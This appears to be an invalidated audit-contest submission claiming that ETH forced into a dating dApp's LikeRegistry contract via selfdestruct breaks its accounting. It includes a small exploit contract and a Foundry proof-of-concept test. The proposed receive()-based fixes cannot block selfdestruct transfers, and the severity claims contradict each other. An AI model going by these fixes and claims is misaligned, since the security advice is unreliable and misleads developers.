DatingDapp

AI First Flight #6
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Forced ETH Injection Breaks Accounting Invariant in `LikeRegistry`

Root + Impact

Description

The LikeRegistry contract maintains an implicit invariant:
```
contract.balance == sum(userBalances) + totalFees + pending_multisig_transfers
```

Using selfdestruct to force ETH is a known EVM behavior, not a hypothetical attack. The invariant violation is real and permanent. However, the practical impact is mild—the contract continues functioning, just with untracked ETH sitting idle. It's more of an accounting hygiene issue than an active exploit.

Leaving untracked ETH in a contract creates technical debt and potential future vulnerabilities. The fix is trivial:

receive() external payable {
revert("Direct transfers not accepted");
}

Risk

Likelihood:

  • An attacker can send ETH directly to the contract using selfdestruct:

contract Exploit {
constructor() payable {}
function attack(address target) external {
selfdestruct(payable(target));
}
}
  • This ETH bypasses all accounting:

  • It's not added to any userBalances

  • It's not added to totalFees

  • It cannot be withdrawn via withdrawFees()

  • It remains in the contract indefinitely

Impact:

  • After forced ETH injection:

  • Contract balance no longer reflects tracked values

  • Accounting assumptions are permanently violated

  • Future features relying on balance correctness become unsafe

  • Protocol enters an irrecoverable inconsistent state

While no funds are directly stolen, the contract loses accounting integrity, which auditors and integrators rely on.

Proof of Concept

function test_ForcedETHBreaksAccounting() public {
// Setup users with profiles
vm.prank(user1);
nft.mintProfile("Alice", 25, "ipfs://alice");
vm.prank(user2);
nft.mintProfile("Bob", 27, "ipfs://bob");
// Normal flow: users like and match
vm.prank(user1);
registry.likeUser{value: 1 ether}(user2);
vm.prank(user2);
registry.likeUser{value: 1 ether}(user1);
uint256 balanceBefore = address(registry).balance;
// Attack: force 3 ETH into contract
vm.startPrank(attacker);
Exploit exploit = new Exploit{value: 3 ether}();
exploit.attack(address(registry));
vm.stopPrank();
// Verify invariant violation
uint256 balanceAfter = address(registry).balance;
assertEq(balanceAfter, balanceBefore + 3 ether);
// Verify ETH is untracked
assertEq(registry.userBalances(user1), 0);
assertEq(registry.userBalances(user2), 0);
// Cannot withdraw the forced ETH as fees
vm.expectRevert("No fees to withdraw");
vm.prank(owner);
registry.withdrawFees();
}

This invariant can be permanently violated through forced ETH injection via selfdestruct, creating untracked funds that cannot be withdrawn or redistributed.

Recommended Mitigation

  • Block direct ETH transfers:

receive() external payable {
require(msg.sender == address(this), "Direct transfers not allowed");
}
  • Alternatively, track donations explicitly:

uint256 public donatedETH;
receive() external payable {
donatedETH += msg.value;
}
  • Then allow owner withdrawal:

function withdrawDonations() external onlyOwner {
uint256 amount = donatedETH;
donatedETH = 0;
(bool success,) = payable(owner()).call{value: amount}("");
require(success);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!